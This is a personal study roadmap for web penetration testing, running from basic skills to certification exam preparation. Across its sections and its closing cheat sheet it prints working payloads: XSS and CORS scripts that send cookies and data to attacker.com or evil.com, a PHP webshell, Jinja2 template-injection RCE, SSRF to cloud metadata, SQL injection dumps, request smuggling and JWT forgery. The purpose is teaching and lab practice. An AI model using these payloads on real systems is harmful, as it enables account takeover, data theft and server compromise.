web pentester — full learning roadmap

4ss3m / assem merzoug / updated 2025

this is the complete roadmap i'm following to become a professional web penetration tester.
it covers everything i need to learn — from the ground up to industry certifications (CWES, BSCP).
each phase is expandable. click any phase, section, or topic to read the detail.

this isn't a course list. it's a living document of deliberate, structured skill-building.
web pentesting is not software engineering. the goal isn't to build apps — it's to understand how they break.
that requires a specific, narrower set of coding skills: reading exploits, writing small automation scripts, understanding what dangerous code looks like when you're reading someone else's application.

below is every language i need, why, and exactly what level i need to reach in each one.
almost every security tool is written in Python. every public exploit on ExploitDB is in Python. you need to be able to read an exploit script, understand what it does, modify the target URL or payload, and run it. beyond that: writing your own small automation scripts is a daily reality — looping through IDs to find IDORs, sending crafted HTTP requests, parsing JSON responses.
what i need to be able to do :
>read and understand existing exploit scripts without getting lost
>send HTTP requests using the requests library — GET, POST, headers, cookies
>parse JSON responses and extract specific fields
>write a loop over a wordlist and check responses (fuzzing logic)
>modify PoC exploit payloads for a specific target
>basic file I/O — read a wordlist, write results to a file
// real example — custom IDOR scanner
import requests session_cookie = {"session": "your_token_here"} target = "https://target.com/api/user/" for user_id in range(1, 500): r = requests.get(target + str(user_id), cookies=session_cookie) if r.status_code == 200 and "email" in r.text: print(f"[IDOR] user {user_id}: {r.json()['email']}") # this is a real attack script. # it loops through user IDs trying to access other users' data. # if the server doesn't verify ownership → every user's email is exposed.
where to learn :
>Python for Everybody (free, py4e.com) — stop after week 4
>HTB Academy: Introduction to Python 3 module
>automate the boring stuff (automatetheboringstuff.com) — chapters 1–11
every tool runs from a bash terminal. chaining tools together, processing their output, writing one-liners that automate repetitive recon tasks — this is the difference between someone who "knows tools" and someone who actually works efficiently. bash is the glue that connects everything.
what i need to be able to do :
>pipe commands together — tool output → filter → next tool
>write loops over wordlists or IP ranges
>redirect and save output to files
>basic conditionals — if response contains X, do Y
>use grep, awk, sed to extract patterns from text output
// real example — subdomain recon pipeline
# find all live subdomains and save them subfinder -d target.com -silent | \ httpx -silent -status-code | \ grep -v "404\|400" | \ tee live_subdomains.txt # extract all JS file URLs from a crawl, search for API keys cat urls.txt | grep "\.js$" | while read url; do curl -s "$url" | grep -oE "(api_key|token|secret)['\"][[:space:]]*:[[:space:]]*['\"][^'\"]{8,}" done # these are real recon one-liners used in actual pentests.
where to learn :
>OverTheWire: Bandit (overthewire.org) — gamified bash fundamentals
>The Linux Command Line (free book) — first 10 chapters
>HTB Academy: Linux Fundamentals module
JavaScript runs in every browser, and modern web apps load all their logic — including API endpoints, routes, and sometimes hardcoded credentials — in JS files. as a pentester, you need to read minified JS to find hidden endpoints, write XSS payloads that steal cookies, and understand how the browser executes scripts. you won't be building JS apps. you need to understand what JS code does when you read it.
what i need to be able to do :
>read and understand minified / obfuscated JS (deobfuscation)
>understand the DOM — document.cookie, window.location, innerHTML
>write XSS payloads — from basic alert(1) to real cookie theft
>identify where user input flows into dangerous JS functions (XSS sinks)
>use fetch() in payloads to exfiltrate data to an attacker-controlled server
// real example — XSS cookie theft payload
// basic proof-of-concept (confirms XSS exists): <script>alert(document.cookie)</script> // real impact payload — sends victim's cookie to attacker's server: <script> fetch('https://attacker.com/log?c=' + encodeURIComponent(document.cookie)) </script> // finding XSS sinks in source code — dangerous patterns: document.getElementById('out').innerHTML = userInput // SINK — executes HTML eval(userInput) // SINK — executes JS location.href = userInput // SINK — open redirect
where to learn :
>javascript.info — chapters 1–5 give you what you need
>HTB Academy: JavaScript Deobfuscation module (in my path)
>PortSwigger XSS labs — learn by exploiting real examples
SQL injection is one of the most common and highest-impact vulnerabilities in existence — 30 years old and still appearing in major breaches. to craft injections, you need to understand what valid SQL looks like. you don't need to be a database administrator. you need to understand queries, boolean logic, UNION syntax, and the differences between MySQL, PostgreSQL, and MSSQL.
what i need to be able to do :
>understand SELECT, WHERE, AND/OR — the boolean logic injections exploit
>understand UNION SELECT — how you extract data from other database tables
>know comment syntax per DB engine: # and -- for MySQL, -- for PostgreSQL
>read and construct subqueries
>understand the information_schema — how to enumerate tables and columns
// how SQL injection actually works
-- normal query the application runs: SELECT * FROM users WHERE username='admin' AND password='mypassword' -- you inject as the username field: admin'-- -- the database now sees: SELECT * FROM users WHERE username='admin'--' AND password='x' -- everything after -- is a comment. password check is gone. you're logged in. -- extracting data with UNION: -- first find how many columns: add ORDER BY 1, then 2, then 3... until error -- then inject: ' UNION SELECT username, password FROM users-- -- result: every username and password hash in the database
where to learn :
>SQLZoo (sqlzoo.net) — free interactive, first 6 sections
>PortSwigger SQL Injection topic — read + do all labs
>HTB Academy: SQL Injection Fundamentals module
a large portion of vulnerable web apps run PHP — WordPress, legacy apps, custom CMSs. during a pentest, you'll sometimes get access to source code (via git exposure, file inclusion, or white-box testing). you need to read PHP code and spot the dangerous patterns: where does user input go, and does it reach an unsafe function? you don't write PHP. you audit it.
what i need to be able to do :
>read basic PHP — variables, functions, conditionals, includes
>recognize dangerous functions: system(), exec(), eval(), include(), unserialize()
>understand $_GET, $_POST, $_COOKIE as user-controlled attack surface
>understand PHP type juggling — loose == comparison leading to auth bypass
>understand PHP wrappers — php://filter, php://input (used in LFI attacks)
// what dangerous PHP code looks like
<?php // vulnerable to local file inclusion (LFI): $page = $_GET['page']; // user controls this include($page . '.php'); // user controls what gets included // attacker sends: ?page=../../../../etc/passwd%00 // server includes /etc/passwd — reads system files // vulnerable to remote code execution: $cmd = $_GET['cmd']; system($cmd); // executes arbitrary OS commands // attacker sends: ?cmd=id // server responds: uid=33(www-data) — full command execution ?>
where to learn :
>PentesterLab — code review exercises (PHP-heavy, free tier available)
>read HTB writeups that involve source code review
>PHP manual — look up specific functions as you encounter them
before touching a single vulnerability, you need to understand how the web works at a technical level. HTTP is the protocol that every web application runs on — understanding it deeply is what separates guessing from systematic testing. this phase is also where you set up and learn your core tooling, especially Burp Suite.
HTTP is the language of web attacks. every vulnerability you exploit is delivered via an HTTP request. understanding requests, responses, headers, cookies, and status codes is not optional background knowledge — it is the attack surface itself.
every HTTP request is a TCP connection first. the three-way handshake (SYN → SYN-ACK → ACK) establishes the connection before any HTTP data is sent. knowing IP addressing — private ranges (192.168.x.x, 10.x.x.x, 172.16-31.x.x) — becomes critical when exploiting SSRF, where you make a server reach its own internal network.
// why this matters in practice
when you find SSRF (server-side request forgery): you probe internal IPs: 192.168.1.1, 10.0.0.1, 172.16.0.1 without knowing private IP ranges, you're guessing blind. cloud environments add: 169.254.169.254 that's AWS instance metadata — contains temporary AWS credentials. SSRF to that address = potential full AWS account takeover.
each method has a different intended purpose and different security implications. APIs often expose DELETE and PUT endpoints without proper authentication, assuming nobody would try them without a documented link. the OPTIONS method reveals which methods are allowed on an endpoint — a recon goldmine.
// practical example
curl -X OPTIONS https://target.com/api/user # response: Allow: GET, POST, DELETE, PUT # you see DELETE is allowed. # you try: DELETE /api/user/1337 # if the server doesn't check authorization → you deleted a user. # that's an access control vulnerability found by testing HTTP methods.
response headers reveal what technology the server runs. request headers control caching, authentication, content type, and routing. as an attacker you read headers to fingerprint the server, inject into them for CRLF attacks, and set them to bypass IP-based protections.
// header → CVE in seconds
server response includes: Server: Apache/2.4.49 you google "Apache 2.4.49 CVE" → CVE-2021-41773: path traversal and RCE → public exploit is one curl command that header leak turned into a critical RCE in under 2 minutes. this is how real initial access works.
cookies carry session tokens — the thing that proves you're logged in. three security flags matter:
HttpOnly: JavaScript can't read the cookie. your XSS payload can't steal it directly.
Secure: the cookie only travels over HTTPS. interceptable over HTTP without this.
SameSite=Strict/Lax: the browser won't send this cookie on cross-site requests. this blocks CSRF.

when you see a session cookie with none of these flags, that's three separate security findings.
// cookie with no flags = multiple findings
Set-Cookie: session=abc123 missing HttpOnly → XSS can steal it via document.cookie missing Secure → travels over HTTP, interceptable on same network missing SameSite → CSRF attacks can use it cross-site Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict this is what a correctly configured session cookie looks like.
the browser's same-origin policy normally prevents JavaScript on evil.com from reading responses from bank.com. CORS (Cross-Origin Resource Sharing) lets servers relax that policy for trusted origins. misconfigured CORS — reflecting any Origin header, or using wildcard with credentials — lets attackers steal authenticated data from victims who visit an attacker-controlled page.
// CORS misconfiguration → account data theft
// server reflects your Origin header: // request: Origin: https://evil.com // response: Access-Control-Allow-Origin: https://evil.com // Access-Control-Allow-Credentials: true // you host this on evil.com: fetch('https://bank.com/api/account', {credentials: 'include'}) .then(r => r.json()) .then(data => fetch('https://evil.com/steal?d=' + JSON.stringify(data))) // victim visits evil.com → their browser sends their bank cookies → // server allows it (CORS says evil.com is trusted) → // bank account data sent to attacker.
Burp Suite is to web pentesting what a debugger is to software development — your main workspace. every request you make from your browser flows through it. you see everything, you can modify everything, you can replay anything. learning Burp is not optional. it's the skill that makes all the others possible.
you configure your browser to send traffic through Burp's proxy. Burp sits in the middle, showing you every request before it reaches the server. you can pause requests, modify them (change parameters, headers, cookies, body), then forward them. this is how you bypass client-side validation: the browser's JavaScript checks run, but you intercept the request after they run and before it reaches the server — and change whatever you want.
// bypassing client-side price validation
// HTML: <input type="number" name="price" readonly value="99.00"> // the field is readonly — you can't change it in the browser. // BUT you intercept the checkout POST request in Burp: POST /checkout HTTP/1.1 Host: shop.com Cookie: session=your_token product_id=5&quantity=1&price=99.00 // in Burp: change price=99.00 to price=0.01 // forward the request. // if the server doesn't re-validate the price → you paid $0.01 for a $99 item. // business logic vulnerability. critical finding.
Repeater sends the same request with modifications and shows you the response side by side. this is how you manually test for vulnerabilities: send normal request, note response. add a single quote, note if the response changes (SQL error?). add a payload, note the output. you'll spend the majority of your active exploitation time in Repeater.
// manually confirming SQL injection in Repeater
attempt 1: GET /item?id=5 response: normal product page attempt 2: GET /item?id=5' response: "You have an error in your SQL syntax..." → confirmed: input reaches the database unfiltered attempt 3: GET /item?id=5'-- response: normal product page again → confirmed: comment closed the broken query → SQLi exploitable now you know exactly what you have and can build the full exploit.
Intruder marks positions in a request and then replaces them with payloads from a wordlist — automatically, hundreds or thousands of times. Sniper mode: one position, one wordlist. used for brute-forcing passwords or fuzzing a single parameter. Cluster Bomb: multiple positions, multiple wordlists, every combination. used for credential stuffing (username + password pairs). the Community edition is rate-limited — for speed, use ffuf or Turbo Intruder.
// IDOR testing with Intruder
request: GET /api/invoice/§1337§ wordlist: numbers 1 to 10000 Intruder sends: GET /api/invoice/1 GET /api/invoice/2 GET /api/invoice/3 ... filter results by response length or status code. every response that differs from "403 Forbidden" → you accessed someone else's invoice. IDOR confirmed.
before you attack, you map. recon determines what's actually there — subdomains, hidden directories, forgotten endpoints, leaked credentials. the best pentester doesn't just attack what's visible. they find what the target didn't know was exposed. this phase covers both passive recon (no traffic to the target) and active enumeration (direct requests).
passive recon uses public sources: search engines, certificate logs, archive snapshots, code repositories. zero traffic hits the target's servers. often finds the most critical exposures — things the target forgot they published.
Google indexes everything public — including things companies didn't intend to publish. dorks are targeted search queries that surface specific file types, directory listings, admin panels, or configuration files. the Google Hacking Database (GHDB) has thousands of dork patterns.
// high-value dork examples
site:target.com filetype:env → finds .env files containing: DB_PASSWORD=, AWS_SECRET_KEY= site:target.com intitle:"index of" → finds open directory listings — all files publicly browsable site:target.com ext:php inurl:admin → finds admin panels built in PHP "target.com" filetype:sql → finds SQL database dumps accidentally published "@target.com" filetype:xls → finds employee spreadsheets with internal email addresses
every SSL certificate issued by a trusted authority is logged in a public CT log. crt.sh lets you search by domain and see every subdomain that has ever had a certificate. this finds staging environments, dev servers, internal tools that were briefly public — all with less hardening than production.
// crt.sh search result example
search: %.target.com on crt.sh results: dev-api.target.com ← development API, often no auth staging.target.com ← staging env, often outdated and vulnerable internal-admin.target.com ← internal tool accidentally accessible jenkins.target.com ← CI/CD server, often default credentials old.target.com ← legacy app, unmaintained, CVEs unpatched the staging and internal subdomains are your priority targets.
developers commit secrets constantly — API keys, database passwords, AWS credentials, private keys. GitHub's code search lets you find these in public repositories. tools like truffleHog and gitleaks scan entire repos (including commit history) for high-entropy strings that look like secrets.
// GitHub search operators for secrets
on github.com/search: "target.com" password filename:.env → .env files mentioning the target domain org:targetcompany "api_key" language:python → Python files with API keys in the target org's repos org:targetcompany "BEGIN RSA PRIVATE KEY" → accidentally committed private SSH or TLS keys any of these found: immediate critical finding. AWS keys can mean full cloud infrastructure access.
active recon sends requests to the target. this is your main enumeration workflow: finding every subdomain, every directory, every hidden endpoint. most tools are fast enough that this runs in the background while you manually browse the application.
a company's main website is usually their most hardened target. their 47 subdomains often are not. DNS brute-forcing tries thousands of common subdomain names (dev, staging, api, admin, jenkins, etc.) and checks which ones resolve. tools: subfinder, amass, dnsx. pipe output through httpx to filter only live servers.
// subdomain recon pipeline
subfinder -d target.com | httpx -silent -status-code -title output: https://api.target.com [200] [API Gateway] https://dev.target.com [200] [Dev Environment] https://jenkins.target.com [200] [Jenkins CI] ← try admin:admin https://admin.target.com [401] [Admin Portal] ← try bypass techniques https://staging.target.com [403] [Forbidden] ← try to bypass 403
every web app has files and directories that aren't linked from the navigation. backup files, config files, admin panels, old API versions — fuzzing tries thousands of names from wordlists. SecLists (github.com/danielmiessler/SecLists) is the standard wordlist collection. ffuf is the fastest fuzzer. gobuster and feroxbuster are alternatives.
// ffuf directory fuzzing
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \ -u https://target.com/FUZZ \ -fc 404 real finds this produces: /config.php.bak → download it → database credentials in plaintext /.git/ → git directory exposed → clone entire source code /backup.zip → full application backup, passwords included /admin/ → admin panel, try default creds or bypass /api/v2/internal/ → undocumented internal API, no auth
this is the technical core of web pentesting. each vulnerability class has its own discovery techniques, exploitation methods, and bypass approaches. the goal is to understand each one deeply enough that you recognize the conditions for it during manual testing — not just run a scanner and hope. covering: SQL injection, XSS, access control, file attacks, command injection, SSTI, and more.
SQL injection is 30 years old and still one of the top findings in every pentest report. it occurs when user input is concatenated directly into a database query without sanitization. impact ranges from authentication bypass to full database dump to remote code execution.
the application constructs a SQL query by gluing your input directly into a string. when you add a single quote ('), you break the SQL syntax — causing an error that confirms your input reaches the database. from there you manipulate the query logic: bypass login, extract data, execute system commands.
// login bypass via SQL injection
-- app runs this query: SELECT * FROM users WHERE username='[your input]' AND password='[your input]' -- you enter as username: admin'-- -- the query becomes: SELECT * FROM users WHERE username='admin'--' AND password='...' -- everything after -- is a SQL comment. password check never runs. -- you log in as admin with any password.
once SQLi is confirmed, UNION SELECT appends a second query and shows its results in the page response. you first find how many columns the original query returns (increment ORDER BY until error), then inject a matching UNION that extracts what you want.
// extracting all usernames and passwords
-- find column count: ' ORDER BY 1-- ✓ ' ORDER BY 2-- ✓ ' ORDER BY 3-- ✗ → 2 columns -- list all tables: ' UNION SELECT table_name,NULL FROM information_schema.tables-- -- dump users table: ' UNION SELECT username,password FROM users-- result: every account credential in the database.
most modern apps don't display database errors or results directly. blind SQLi infers data through behavior differences. boolean-based: the page responds differently when your condition is true vs false. time-based: inject a SLEEP() and measure how long the server takes to respond. sqlmap automates all of this.
// boolean and time-based blind SQLi
-- boolean: is the first char of the admin password 'a'? ' AND SUBSTRING(password,1,1)='a'-- → if page loads normally: yes. if different: no. → repeat for each character until you have the full password. -- time-based: is this MySQL? ' AND SLEEP(5)-- → if response takes 5 seconds: confirmed MySQL, SQLi exists -- sqlmap automates all of it: sqlmap -u "https://target.com/product?id=1" --dbs --level 3
XSS lets you inject JavaScript that executes in a victim's browser. the impact isn't just alert(1) — it's cookie theft, session hijacking, keylogging, CSRF actions performed as the victim, and full account takeover. CWES and BSCP both test XSS heavily because it appears constantly in real applications.
reflected XSS: your payload is in the URL, victim must click your crafted link. impact limited to users who click it. stored XSS: your payload is saved to the database and executes for every user who visits that page. highest impact — no user interaction per victim needed after initial injection. DOM XSS: the vulnerability lives entirely in client-side JavaScript. your payload never reaches the server. harder to detect with scanners.
// three types in practice
// reflected — payload in the URL, victim must click: https://target.com/search?q=<script>alert(document.cookie)</script> // stored — saved to DB, executes for all visitors: // posted in a comment field: <img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)"> // DOM — JavaScript reads unsafe input and writes to page: // app code: document.getElementById('out').innerHTML = location.hash.slice(1) // attacker URL: https://target.com/page#<img src=x onerror=alert(1)>
in a pentest you need to show business impact, not just "XSS exists." if the session cookie isn't HttpOnly, you steal it and replay it to log in as the victim. if it is HttpOnly, you use the victim's active session to perform sensitive actions on their behalf — this is called XSS-to-CSRF.
// cookie theft → account takeover
// payload (stored in victim's browser context): <script> var img = new Image(); img.src = "https://attacker.com/steal?c=" + encodeURIComponent(document.cookie); </script> // attacker receives: session=eyJhbGci... // attacker sets that cookie in their browser // attacker is now logged in as victim — account takeover. // if HttpOnly (can't steal cookie) → use XSS to perform actions as victim: <script> fetch('/account/change-email', { method: 'POST', body: 'email=attacker@evil.com', credentials: 'include' }); </script>
broken access control is the #1 vulnerability in OWASP Top 10 (2021 and 2023). IDOR (Insecure Direct Object Reference) is the most common variant: the application uses a user-controllable value to access a resource without checking that the user owns it. trivial to find, often critical severity, extremely common in APIs.
you access your own resource at /api/user/1337. you change 1337 to 1338. if you get another user's data — that's an IDOR. the server authenticated you (it knows you're logged in) but failed to check that the resource you're asking for belongs to you. authentication and authorization are two separate systems. both need to work.
// IDOR in an API endpoint
// your request: GET /api/orders/5001 Cookie: session=your_token response: {"order_id":5001,"items":[...],"total":99.00,"user":"4ss3m"} // change ID to someone else's: GET /api/orders/5002 Cookie: session=your_token ← still your session response: {"order_id":5002,"items":[...],"total":249.00,"user":"victim"} // you read someone else's full order. IDOR. // scale with Burp Intruder across 1-10000 → every order in the database.
when user input controls file paths or file uploads, the attacker controls what the server reads or executes. path traversal → LFI → RCE is one of the most satisfying exploit chains in web hacking. file upload bypass is often the most direct route to a webshell on the server.
when an application uses user input in a file path without sanitizing ../, you can traverse the directory structure. target files: /etc/passwd (users list, confirms LFI), application config files (database credentials), SSH private keys (/root/.ssh/id_rsa), application source code. in PHP apps, the php://filter wrapper lets you read PHP source code as base64 rather than having it execute.
// LFI to credential theft
// normal: GET /view?file=report.pdf // traversal: GET /view?file=../../../../etc/passwd response: root:x:0:0:root:/root:/bin/bash www-data:x:33:33:www-data:/var/www:/bin/sh // confirmed: reading system files // PHP wrapper — read application source code: GET /page?file=php://filter/convert.base64-encode/resource=config.php response: base64 string // decode it → config.php contains: $db_password = "Sup3rS3cr3t!"
file upload vulnerabilities let you upload a file that executes server-side — giving you remote code execution. most apps try to allow only images. bypass techniques: change Content-Type header (the server trusts headers, not file content), use alternate extensions (.php5, .phtml, .phar), use double extensions (shell.php.jpg). a webshell is a tiny script that lets you run any command on the server.
// file upload to RCE
// malicious file: shell.php <?php system($_GET['cmd']); ?> // server only accepts .jpg → intercept upload in Burp, change: Content-Type: image/jpeg ← was application/php filename: shell.php ← keep the .php extension // server stores it at /uploads/shell.php // you access: https://target.com/uploads/shell.php?cmd=id // response: uid=33(www-data) gid=33(www-data) groups=33(www-data) // you have remote code execution on the server.
this is where intermediate pentesters stop and where the real differentiation happens. these vulnerabilities require deeper understanding of web infrastructure, protocol behavior, and application internals. SSRF, HTTP request smuggling, SSTI, and deserialization all appear in BSCP exam and real high-value engagements.
SSRF makes the server send requests on your behalf. the server has access to internal networks and cloud metadata that you don't. SSRF is your key to breaking into internal infrastructure through a public-facing web app. impact: internal network scanning, cloud credential theft, accessing internal admin panels.
applications that fetch remote URLs (webhook configs, URL preview features, PDF generators, image importers) can be abused. instead of providing a real URL, you provide an internal address. the server fetches it on your behalf and returns the response. you gain access to everything the server can reach — which is everything on its internal network.
// SSRF to cloud credential theft
// normal request: POST /api/generate-preview {"url": "https://example.com/image.jpg"} // SSRF — internal admin panel: {"url": "http://127.0.0.1:8080/admin"} response: admin panel HTML that's not publicly accessible // SSRF to AWS metadata (cloud environments): {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role"} response: { "AccessKeyId": "ASIAXXX", "SecretAccessKey": "abc123...", "Token": "FQoGZXIvYXdz..." } // temporary AWS credentials → access to S3, EC2, IAM → full cloud takeover.
template engines let developers embed variables in HTML: {{user.name}}, ${item.price}. when user input reaches the template engine unfiltered, you can inject template expressions that execute on the server. SSTI often leads directly to remote code execution — the highest severity finding in web pentesting.
detection: inject mathematical expressions in different syntaxes. if the page renders the result (49 instead of {{7*7}}), the template engine is processing your input. the syntax that works identifies the engine. each engine has different RCE payloads. Jinja2 (Python) is the most common and has well-documented RCE chains.
// SSTI detection and Jinja2 RCE
// inject into any user-controlled field that appears in the response: {{7*7}} → if page shows "49" → Jinja2 or Twig (Python/PHP) ${7*7} → if page shows "49" → Freemarker or Mako (Java/Python) #{7*7} → if page shows "49" → Ruby ERB // Jinja2 (Python) RCE — execute OS commands: {{config.__class__.__init__.__globals__['os'].popen('id').read()}} // response: "uid=1000(www-data) gid=1000(www-data)" // you have remote code execution via a template injection.
when a front-end proxy and back-end server disagree on where one HTTP request ends and the next begins, you can "smuggle" malicious data that poisons other users' requests. rated critical because it can bypass WAFs, capture victims' credentials, and chain with other vulnerabilities.
the front-end uses Content-Length to parse the request boundary. the back-end uses Transfer-Encoding: chunked. you craft a request that both headers describe differently. the front-end forwards what it thinks is one complete request. the back-end processes part of it as request one, and queues the remainder as the start of the next request. the next legitimate user's request is prefixed by your smuggled data.
// CL.TE smuggling to steal victim cookies
// your crafted request: POST / HTTP/1.1 Host: target.com Content-Length: 46 Transfer-Encoding: chunked 0 POST /comment HTTP/1.1 Content-Length: 200 comment= // the next user's request (including their Cookie header) gets // appended to your "comment=" body. // you read /comment → their session cookie is in the comment text. // you replay their cookie → you are them. account takeover.
every modern application is an API. mobile apps, single-page applications, microservices — they all communicate via REST or GraphQL APIs. API security has its own OWASP top 10 (separate from the web app top 10) because API vulnerabilities have distinct patterns. this is the highest-growth area in web security and where the most bugs are being found in bug bounty programs right now.
REST APIs use HTTP verbs as actions and URLs as resources. they return JSON. they authenticate via tokens (JWT, API keys, Bearer). understanding REST means you can predict unexposed endpoints, test every method, and identify where access control is missing.
BOLA (Broken Object Level Authorization) is the API name for IDOR. it's consistently the #1 finding in API security assessments. every API endpoint that takes an object ID (user ID, order ID, document ID) is a potential BOLA. the question: if you change that ID to another user's ID, does the server check that you own it?
// BOLA across multiple endpoint types
GET /api/v1/users/1337/profile → your profile GET /api/v1/users/1/profile → admin's profile? BOLA GET /api/v1/messages/thread/5001 → your message thread GET /api/v1/messages/thread/1 → someone else's private messages? BOLA POST /api/v1/orders/9999/cancel → cancel order 9999 (not yours) the pattern: any endpoint with an ID in the URL. test every one. change the ID. check if the server enforces ownership.
many frameworks automatically bind JSON request body fields to object properties. if a User object has an isAdmin property but the developer forgot to block it from being set via the API, you can send isAdmin: true and become an admin. this is mass assignment — the API accepts more fields than it should.
// mass assignment to privilege escalation
// normal registration request: POST /api/register {"username":"4ss3m","password":"pass123","email":"me@x.com"} // you add extra fields the developer didn't think to block: POST /api/register {"username":"4ss3m","password":"pass123","email":"me@x.com","isAdmin":true,"role":"admin","credits":99999} // if the backend blindly maps all JSON fields to the User object: // you just created an admin account with unlimited credits.
JSON Web Tokens are the standard API authentication mechanism. they're self-contained: the server doesn't store sessions — it just verifies the token's signature. JWT vulnerabilities arise when that signature verification is weak, skipped, or bypassable. JWT attacks appear in CWES, BSCP, and every serious API pentest.
a JWT has three parts: header (algorithm), payload (your user data), signature (cryptographic proof). the alg:none attack: change the algorithm to "none", modify the payload (role: user → role: admin), and remove the signature. some libraries, if not configured correctly, accept "none" as a valid algorithm — meaning no signature is required. your unsigned, self-modified token is accepted.
// JWT structure and alg:none attack
// original JWT (three base64 parts separated by dots): eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 ← header: {"alg":"HS256"} .eyJ1c2VySWQiOiIxMzM3Iiwicm9sZSI6InVzZXIifQ ← payload: {"userId":"1337","role":"user"} .SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ← signature // alg:none attack: // 1. decode header → change "alg":"HS256" to "alg":"none" // 2. decode payload → change "role":"user" to "role":"admin" // 3. re-encode both → drop the signature entirely // 4. send: header.payload. (note the trailing dot — no signature) // if the server accepts it → you're now admin.
RS256 uses asymmetric cryptography: the server signs with a private key and verifies with its public key. HS256 uses symmetric cryptography: the same secret key is used to sign and verify. attack: take the server's public key (often available at /.well-known/jwks.json), tell the JWT to switch to HS256, sign your forged payload with the public key as the HS256 secret. if the server doesn't handle algorithm switching securely, it verifies with its own public key — which matches your signature. admin access.
// RS256 → HS256 confusion attack steps
step 1: find the server's public key GET /.well-known/jwks.json → {"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]} step 2: in Burp JWT Editor: - change header "alg":"RS256" → "alg":"HS256" - change payload "role":"user" → "role":"admin" - sign with the server's public key as the HS256 secret step 3: send the forged token if vulnerable → server verifies with its own public key your signature matches → admin access granted
GraphQL is replacing REST in modern stacks. instead of multiple endpoints, there's one endpoint that accepts structured queries. it has a built-in schema introspection feature that, when left enabled in production, gives you a complete map of everything the API can do. authorization is entirely the developer's responsibility — the framework provides none — making authorization failures extremely common.
introspection is a GraphQL feature where you query the API's own schema. when enabled in production (common misconfiguration), you receive the complete list of all types, queries, mutations, and their argument names — without any authentication. this is the equivalent of the server emailing you its full API documentation unprompted.
// introspection query
// send to: POST /graphql { __schema { types { name fields { name type { name kind } args { name type { name } } } } } } // response reveals everything: // types: User, Order, Message, Admin // User fields: id, email, password, isAdmin, creditCardNumber // mutations: deleteUser, updateUserRole, transferFunds // you now know: what data exists, how to access it, what operations are possible.
both certifications are fully hands-on — no multiple choice, no theory tests. you attack real (intentionally vulnerable) web applications and demonstrate actual exploitation skill. CWES comes first (7-day exam, report required). BSCP is faster and more intense (4 hours, two apps, six exploits). both are industry-recognized and appear as hard filters in web security job postings.
issued by HackTheBox. requires completing the full Web Penetration Tester path (20 modules, 279 sections). 7-day exam: multiple web applications, minimum 80% of flags to pass, professional pentest report required. the report is what fails most people — not the technical part.
you're given VPN access to several web applications. you pentest them exactly as you would in a real engagement. each application has two flags: one for user-level access, one for server/admin-level access. the technical part is typically clearable in 48 hours. the remaining 5 days are for refining the report. the report must be client-grade: executive summary, findings with CVSS scores, reproduction steps, impact statements, and remediation advice.
// what a passing finding entry looks like
title: SQL Injection in /login endpoint severity: Critical cvss: 9.8 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) description: The login endpoint at /api/auth constructs SQL queries by concatenating user-supplied input without using parameterized queries. An unauthenticated attacker can inject SQL to bypass authentication controls entirely. proof of concept: 1. Navigate to https://target.com/login 2. Enter username: admin'-- 3. Enter any password 4. Click Login — access granted as administrator impact: Unauthenticated access to all user accounts and administrative functionality. Full database contents accessible including customer PII. remediation: Replace string concatenation with parameterized queries / prepared statements. Reference: OWASP SQL Injection Prevention Cheat Sheet
issued by PortSwigger (makers of Burp Suite). 4-hour exam, 2 web applications, 3 vulnerabilities each to exploit in sequence. open book — notes and internet allowed. Burp Suite Professional required. considered harder than CWES due to the time pressure and the need to chain vulnerabilities without hints.
each app has three stages that must be completed in order. stage 1 gives you a foothold (regular user access). stage 2 escalates to admin. stage 3 achieves data exfiltration or RCE. you budget roughly 40 minutes per stage. if you're stuck at 30 minutes, move on and come back — leaving a stage incomplete to make progress elsewhere is smarter than burning the entire 4 hours on one exploit.
// stage patterns and time budget
stage 1 — foothold (common vectors): XSS to steal admin cookie, username enumeration + brute force, content discovery finding an unprotected login bypass, SQL injection on the login form stage 2 — privilege escalation (common vectors): SQL injection, JWT manipulation, broken access control, password reset token flaw, CSRF via XSS from stage 1 stage 3 — data exfiltration / RCE (common vectors): XXE injection, SSRF, SSTI, file path traversal, deserialization time budget: 40min × 3 stages × 2 apps = 4 hours exactly finish one stage faster → bank that time for a harder one. 30-minute rule: no progress in 30min → move on, come back.
the exam is open-book but you can't afford to google during a 40-minute window. build a personal cheat sheet with one working payload per vulnerability class, exact Burp configuration steps, and the bypass technique when the basic payload fails. this document is built during your PortSwigger lab practice — after every lab you solve, add the key payload to your notes.
// cheat sheet structure (built over months of practice)
[XSS] basic: <script>alert(1)</script> [XSS] cookie steal: <script>fetch('//attacker.com?c='+document.cookie)</script> [XSS] HttpOnly bypass: use XSS+CSRF — perform action as victim via fetch() [SQLi] login bypass: admin'-- [SQLi] find cols: ' ORDER BY N-- (increment N until error) [SQLi] union extract: ' UNION SELECT col1,col2 FROM tablename-- [SSTI] detect: {{7*7}} ${7*7} #{7*7} — look for 49 in response [SSTI] Jinja2 RCE: {{config.__class__.__init__.__globals__['os'].popen('id').read()}} [SSRF] basic: replace URL param with http://127.0.0.1/admin [SSRF] cloud: http://169.254.169.254/latest/meta-data/ [JWT] alg:none: set alg:none, change payload, remove signature [JWT] confusion: get pubkey from jwks.json, sign with HS256 using it as secret
knowledge without repetition is trivia. the difference between someone who knows web pentesting and someone who is a web pentester is pattern recognition built through volume. the three-platform loop below is the most efficient path: structured learning, unlimited free practice, realistic simulation.
HTB Academy for structured module learning. PortSwigger Web Security Academy for unlimited free vulnerability-class practice. HTB main platform for realistic machine simulation. rotate between all three.
the goal is consistent reps, not binge sessions. 2-3 hours daily compounds faster than 10 hours on weekends with gaps in between. key discipline: attempt every lab/box for at least 30 minutes before looking at solutions. the struggle is where learning happens.
// sustainable weekly structure
monday: HTB Academy — cover new module sections (theory + labs) tuesday: PortSwigger — 2-3 Apprentice labs on that vuln class wednesday: PortSwigger — 2 Practitioner labs (harder, no solutions first) thursday: HTB main — box that uses the same vuln class (use ippsec.rocks to filter boxes by vulnerability type) friday: write up the box / labs → publish to your writeups repo weekend: PortSwigger Mystery Labs — blind solving, no topic given (exact BSCP exam condition — you must identify the vuln yourself) every writeup published: permanent public proof of work. every mystery lab solved: direct BSCP exam preparation.
